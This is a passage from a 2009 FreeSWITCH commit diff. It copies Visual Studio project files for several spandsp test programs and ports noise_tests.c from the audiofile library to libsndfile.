+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\v29_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/v80_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/v80_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/v80_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/v80_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/v80_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="v80_tests"
+	ProjectGUID="{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}"
+	RootNamespace="v80_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\v80_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/v8_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/v8_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/v8_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/v8_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/v8_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="v8_tests"
+	ProjectGUID="{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}"
+	RootNamespace="v8_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\v8_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/vector_float_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/vector_float_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/vector_float_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/vector_float_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/vector_float_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="vector_float_tests"
+	ProjectGUID="{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}"
+	RootNamespace="vector_float_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\vector_float_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/vector_int_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/vector_int_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/vector_int_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/vector_int_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/vector_int_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="vector_int_tests"
+	ProjectGUID="{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}"
+	RootNamespace="vector_int_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\vector_int_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/spandsp/tests/noise_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/noise_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/noise_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: noise_tests.c,v 1.16 2008/08/17 14:21:26 steveu Exp $
+ * $Id: noise_tests.c,v 1.18 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page noise_tests_page Noise generator tests
@@ -36,8 +36,12 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -68,11 +72,11 @@
     int bins[65536];
     int16_t amp[1024];
     noise_state_t noise_source;
-    AFfilehandle outhandle;
+    SNDFILE *outhandle;
 
-    if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
 
@@ -160,13 +164,10 @@
     {
         for (i = 0;  i < 1024;  i++)
             amp[i] = noise(&noise_source);
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  1024);
+        outframes = sf_writef_short(outhandle, amp, 1024);
         if (outframes != 1024)
         {
-            fprintf(stderr, "    Error writing wave file\n");
+            fprintf(stderr, "    Error writing audio file\n");
             exit(2);
         }
     }
@@ -216,20 +217,17 @@
     {
         for (i = 0;  i < 1024;  i++)
             amp[i] = noise(&noise_source);
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  1024);
+        outframes = sf_writef_short(outhandle, amp, 1024);
         if (outframes != 1024)
         {
-            fprintf(stderr, "    Error writing wave file\n");
+            fprintf(stderr, "    Error writing audio file\n");
             exit(2);
         }
     }
 
-    if (afCloseFile(outhandle))
+    if (sf_close(outhandle))
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
     

Modified: freeswitch/branches/seven/libs/spandsp/tests/oki_adpcm_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/oki_adpcm_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/oki_adpcm_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: oki_adpcm_tests.c,v 1.35 2008/09/04 14:40:05 steveu Exp $
